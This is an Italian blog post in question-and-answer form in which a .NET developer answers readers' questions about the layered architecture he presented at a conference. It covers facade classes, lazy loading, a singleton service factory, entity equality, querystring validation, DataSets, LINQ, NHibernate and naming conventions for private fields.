Books è una classe di facciata (facade) che ha lo scopo di instradare le richieste ai servizi applicativi interni mascherando all'utilizzatore i dettagli della chiamata del servizio. Tutti i servizi implementano l'interfaccia IEntityService<T> e vengono instanziati all'interno delle classi di facciata in base ai parametri di chiamata dei metodi.

2) Quali vantaggi mi offre questa gerarchia un pò intricata?

Il vantaggio è quello di poter gestire la complessità in modo mirato, ripartendo le responsabilità tra più oggetti. L'alternativa sarebbe quella di avere una serie di oggettoni (uno per tipologia) che fanno tutto, che hanno una serie di comportamenti statici e predefiniti (non modificabili senza che la cosa abbia ripercussione altrove) e che siano fonte di un forte accoppiamento. In termini di manutenibilità e flessibilità la struttura ad oggetti presentata dà grossi vantaggi e permette di creare un meccanismo di isolamento e protezione del codice, evitando ripercussioni in caso di modifica.

3) In cosa consiste e come funziona il LazyLoad ?

In certi frangenti può esistere la necessità di voler caricare parzialmente le informazioni di una classe, magari perchè sono particolarmente onerose in termini di occupazione di memoria. In tali casi si può scegliere di operare un caricamento dilazionato, in base al quale i dati "pesanti" vengano caricati solo nel momento in cui effettivamente sono utilizzati. Il Lazy Loading consiste proprio in questo. L'entità a caricamento parziale è LazyBook che sta nel BLL per non creare accoppiamento con lo strato di accesso ai dati. In LazyBook la proprietà Authors carica gli autori all'interno del metodo protetto LoadAuthors, chiamando un metodo specifico all'interno del DAL.

4) Perchè creare IServiceFactory e poi la classe concreta ServiceFactory? Dovrebbe essere implementata come una classe Singleton?

La classe ServiceFactory è singleton e usa internamente un riferimento privato di tipo IServiceFactory.

5) Qual è l'utilità di creare e utilizzare l'attributo EntityTypeAttribute per decorare le classi Entity? in che parte del codice viene utilizzato EntityType della classe base Entity?

Come ho avuto modo dire a Firenze, la caratteristica principale delle entità è quella di essere provviste di una identità (ID). Non tutti gli oggetti dell'Object Model sono provvisti di identità, infatti non tutti gli oggetti sono necessariamente entità, come per esempio Price (in tal caso si chiamano value object). Oltre all'identità occorre fornire un meccanismo di confronto tra le istanze di entità. Per fare questo occorre fare l'override del metodo Equals di Object. Se ponessimo il metodo Equals in ogni classe entità, avremmo la stessa implementazione ripetuta n volte. Ha quindi senso considerare l'opportunità di creare un supertipo Entity dove inserire la proprietà ID e il metodo Equals. Dal momento che due entità di tipo diverso possono avere lo stesso ID, occorre poter identificare la tipologia dell'entità oltre al suo ID. L'uguaglianza sarà data dalla coincidenza di ID e tipologia. Associando un attributo custom ad ogni entità, è possibile marcarla in modo distinguibile. La proprietà EntityType di Entity legge gli attributi custom dell'entità e ricava in questo modo la tipologia. La stessa cosa può essere ottenuta inserendo nel tipo Entity una proprietà astratta da implementare obbligatoriamente in ogni tipo derivato affinchè ritorni un valore distinguibile.

Ho visto che hai creato un classe PageBase attraverso la quale costruire le varie pagine. Essa permette di implementare un meccanismo comune per la validazione della querystring.

6) Puoi spiegarmi in particolare come funziona il metodo Validate() e quali classi ed attributi nella cartella Validation entrano in gioco ?

Quello di validazione è un servizio infrastrutturale dell'applicazione che permette di gestire in modo automatico la validazione della QueryString associata ad una richiesta HTTP. Il servizio sfrutta una serie di attributi custom per definire le modalità di validazione e, in base ai valori ottenuti dalle operazioni di verifica, decide quali azioni intraprendere in caso di input non valido. In questo caso l'utilizzatore del servizio di validazione è la classe PageBase, ma avrebbe potuto tranquillamente essere utilizzato un HttpModule specifico. L'implementazione del modulo è spiegata nell'articolo di Stefano Mostarda pubblicato recentemente su ASPItalia.com.

Ho avuto modo di utilizzare il designer dei dataset tipizzati di VS2005 e l'ho trovato molto interessante. Ho sviluppato un'applicazione windows form utilizzando il modello a oggetti offerto dal designer e dai TableAdapter ma ho da subito notato la scarsa flessibilità dello stesso soprattutto di fronte a modifiche anche lievi al database nonchè la lentezza. Io in pratica ho usato una sorta di architettura a due livelli DAL + UI che utilizza direttamente istanze di TableAdapter. Avevo visto tempo fà articoli che proponevano soluzioni di questo tipo in ASP.NET.

5) Cosa pensi a riguardo di questa possibilità?

Non sono un grande amante dei container di dati quali sono DataSet e DataTable, ma è innegabile che in talune circostanze sono davvero utili. In termini di praticità i container di dati di ADO.NET sono ottimi, non si può dire la stessa cosa in termini di performance, anche se rispetto alla versione 1.x sono stati migliorati.

6) In Orcas sono stati fatti miglioramenti?

Vedi la risposta alla domanda 7.

7) Inoltre in cosa consiste la tecnologia LINQ che sento tanto spesso nominare e quali vantaggi permette di ottenere?

Ti rimando agli articoli dedicati al .NET Framework 3.5 che usciranno nei prossimi giorni su ASPItalia.com e WinFXItalia.com in occasione dello speciale dedicato ad Orcas. Tra gli articoli ce n'è uno dedicato alle query expressions (LINQ).

Ho sentito che è molto diffuso l'utilizzo di uno strumento come NHibernate per la costruzione di un modello a oggetti sul DB. (Premetto che non l'ho mai utilizzato sò solo cosa permette di fare)

8) Utilizzando la tua architettura quali vantaggi offrirebbe il suo utilizzo e quali modifiche richiederebbe?

Un ORM consente la mappatura tra i dati e le entità del dominio applicativo, fornisce funzionalità avanzate per l'accesso ai dati e la gestione della persistenza, include meccanismi quali la gestione di contesti transazionali (UoW), la gestione del caricamento parziale dei dati (Lazy Loading) e l'ottimizzazione nel fetching e nell'updating. NHibernate è sicuramente l'ORM più apprezzato e usato dagli sviluppatori .NET, molto indicato (se non indispensabile) quando l'approccio è quello che è conosciuto come Domain Model, dove la rappresentazione in memoria delle informazioni necessita di efficienza e di ottimizzazioni continue. In generale per le applicazioni web trovo l'uso degli ORM meno vantaggioso di quanto non sia con le applicazioni Windows. In ogni caso occhio sempre all'over-engineering e alle performance.

Infine una semplice domanda di stile di codifica:

9) Perchè tu come molti altri utilizzate _ per indicare i membri privati di un oggetto? A me non piace molto vorrei sapere se ci sono alternative o se riesci a convincermi che è opportuno fare così.

Utilizzo l'underscore per i campi privati per due motivi:

elimina qualsiasi possibile ambiguità di naming con gli eventuali parametri di un metodo (sia campi che parametri usano la camel notation);
permette di non utilizzare la keyword "this" rappresentando di fatto un suo alias e una "scorciatoia".

OK, io mi fermerei qui... ;) Spero di aver aver risposto esaurientemente alle domande. Un saluto e un ringraziamento a tutti coloro che mi hanno scritto in questi giorni per farmi domande relative a quanto visto al Real Code Day 2. Alla prossima...

Tags: Architettura